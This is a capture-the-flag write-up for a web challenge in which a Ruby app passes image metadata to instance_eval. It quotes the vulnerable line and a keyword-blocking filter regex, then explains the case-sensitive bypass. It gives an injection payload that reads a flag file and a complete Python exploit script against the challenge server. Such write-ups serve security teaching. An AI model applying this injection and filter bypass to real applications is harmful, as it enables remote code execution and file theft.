Challenge Overview
Name: PixelPerfect Type: Web Description: An image processing web application that allows users to upload images and apply transformations using metadata directives.
Vulnerability Analysis
The vulnerability exists in the image_processor.rb (or app.rb class ImageProcessor) where user-supplied metadata is processed.
The Vulnerable Code
At line 58 of app.rb:
instance_eval("apply_#{directive}('#{value}')")This uses instance_eval to dynamically execute methods based on the directive and value provided in the metadata. This is a classic Ruby Code Injection vulnerability.
The Filter
The application attempts to filter malicious input at line 23:
if text =~ /system|exec|`|\$|eval|load|require|IO|File|#\{/ raise "Potentially malicious metadata detected!"endThis regex blocks many dangerous keywords, including File and eval.
Exploitation
Step 1: Filter Bypass
We need to read the flag from the filesystem. The obvious choice File.read('/flag.txt') is blocked because it contains File.
However, the ImageProcessor class has a utility method:
def read_file(path) File.read(path)endSince the filter /File/ is case-sensitive (by default in Ruby), the string read_file (lowercase) successfully bypasses the filter! Alternatively, Ruby’s open() method (from Kernel) is also available and not blocked.
Step 2: Code Injection
We can inject code by breaking out of the string interpolation in instance_eval.
If we send metadata format: jpg'); CODE; #, the eval becomes:
apply_format('jpg'); CODE; #')Step 3: The “Hash Iteration” Constraint
A major hurdle was exfiltrating the flag. We initially tried to add the flag to the @metadata hash so it would be displayed on the success page:
@metadata['flag'] = read_file('/flag.txt')This failed because the injection happens incorrectly inside the @metadata.each loop mechanism (or similar context). Ruby throws a RuntimeError: can’t add a new key into hash during iteration.
Step 4: The Solution
Since we cannot add new keys, we must modify an existing key. The format key is already present in the hash being iterated.
Payload:
format: jpg');@metadata['format']=open('/app/flag.txt').read.chomp;#Execution Flow:
apply_format('jpg')runs successfully.@metadata['format']is updated with the content of/app/flag.txt.- The rest is commented out with
#. - The application completes processing and renders
success.erb. success.erbiterates over@metadataand displays the modifiedformatvalue, revealing the flag.
Final Exploit Script
import requestsimport re
url = "http://eie7rrzs.chals.mctf.io/process"
# Create dummy imagewith open("test.jpg", "wb") as f: f.write(b"test")
# Exploit payload# 1. Close the apply_format call: jpg')# 2. Modify EXISTING key to bypass iteration constraint: @metadata['format']=...# 3. Read flag (using open/read/chomp): open('/app/flag.txt').read.chomp# 4. Comment out rest: ;#metadata = "format: jpg');@metadata['format']=open('/app/flag.txt').read.chomp;#"
response = requests.post(url, files={'image': ('test.jpg', open('test.jpg', 'rb'), 'image/jpeg')}, data={'metadata': metadata}, allow_redirects=True)
# Extract Flagmatches = re.findall(r'(MetaCTF\{[^}]+\})', response.text)if matches: print(f"FLAG: {matches[0]}")Flag
MetaCTF{1nst4nc3_3v4l_m4k3s_y0ur_RMagick_g0_b00m}